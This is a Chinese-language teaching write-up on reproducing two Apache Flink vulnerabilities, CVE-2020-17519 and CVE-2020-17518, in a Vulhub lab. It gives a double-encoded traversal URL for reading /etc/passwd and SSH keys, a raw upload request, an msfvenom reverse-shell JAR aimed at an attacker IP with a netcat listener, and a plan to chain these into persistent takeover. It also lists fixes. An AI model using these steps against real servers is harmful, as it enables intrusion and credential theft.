Apache Flink任意文件读取(CVE-2020-17519)&& 任意文件上传(CVE-2020-17518)
字数 1268 2025-08-15 21:33:16
Apache Flink 漏洞分析与利用教学文档 (CVE-2020-17518 & CVE-2020-17519)
1. 漏洞概述
Apache Flink 是一个开源的流处理框架,在特定版本中存在两个严重漏洞:
- CVE-2020-17519 - 任意文件读取漏洞
- CVE-2020-17518 - 任意文件上传漏洞
这两个漏洞可被组合利用,导致服务器被完全控制。
2. 漏洞影响版本
- Apache Flink 1.5.1 至 1.11.2 版本
3. 漏洞环境搭建
使用 Vulhub 提供的 Docker 环境进行复现:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/flink/
docker-compose up -d
4. CVE-2020-17519 任意文件读取漏洞
4.1 漏洞原理
Flink 的 JobManager 日志接口存在目录遍历漏洞,攻击者可以通过构造特殊的 URL 路径遍历读取服务器上的任意文件。
4.2 漏洞利用步骤
-
访问 Flink Web 界面:
http://target-ip:8081 -
构造特殊 URL 读取
/etc/passwd文件:http://x.x.x.x:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd- 注意:
%252f是/的双重 URL 编码
- 注意:
-
读取其他敏感文件:
- 尝试读取
/etc/shadow(通常因权限问题失败) - 读取用户目录下的 SSH 私钥:
/home/[username]/.ssh/id_rsa
- 尝试读取
4.3 防御措施
- 升级到 Apache Flink 1.11.3 或更高版本
- 限制对 JobManager 日志接口的访问
5. CVE-2020-17518 任意文件上传漏洞
5.1 漏洞原理
Flink 的 "Submit New Job" 功能未对上传的文件进行充分验证,导致攻击者可上传任意文件到服务器。
5.2 漏洞利用步骤
5.2.1 基本文件上传测试
- 构造上传请求:
POST /jars/upload HTTP/1.1 Host: target-ip:8081 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y Content-Length: 187 ------WebKitFormBoundaryoZ8meKnrrso89R6Y Content-Disposition: form-data; name="jarfile"; filename=tmp/success" success ------WebKitFormBoundaryoZ8meKnrrso89R6Y-- - 验证文件是否成功上传
5.2.2 上传恶意 JAR 文件实现 RCE
-
使用 msfvenom 生成反弹 shell 的 JAR 文件:
msfvenom -p java/shell_reverse_tcp lhost=attacker-ip lport=5555 -f jar > shell.jarlhost: 攻击者监听 IPlport: 攻击者监听端口
-
在攻击机器上启动 netcat 监听:
nc -lvvp 5555 -
通过 Web 界面上传生成的
shell.jar文件 -
提交作业触发反弹 shell
-
成功获取反向连接后执行命令
5.3 防御措施
- 升级到 Apache Flink 1.11.3 或更高版本
- 实施严格的文件上传验证
- 限制可以上传的文件类型
6. 组合利用场景
- 先利用任意文件读取漏洞获取服务器信息
- 根据读取的信息定制攻击策略
- 利用文件上传漏洞上传恶意 JAR
- 通过反弹 shell 获取服务器控制权
- 提权并建立持久化访问
7. 免责声明
本教学文档仅用于网络安全研究和教育目的。未经授权对他人系统进行测试或攻击是违法行为。在实际环境中测试漏洞前,请确保已获得系统所有者的明确授权。
8. 参考资源
- Vulhub 漏洞环境:https://github.com/vulhub/vulhub/tree/master/flink/
- Apache Flink 安全公告
- CVE 官方描述:CVE-2020-17518, CVE-2020-17519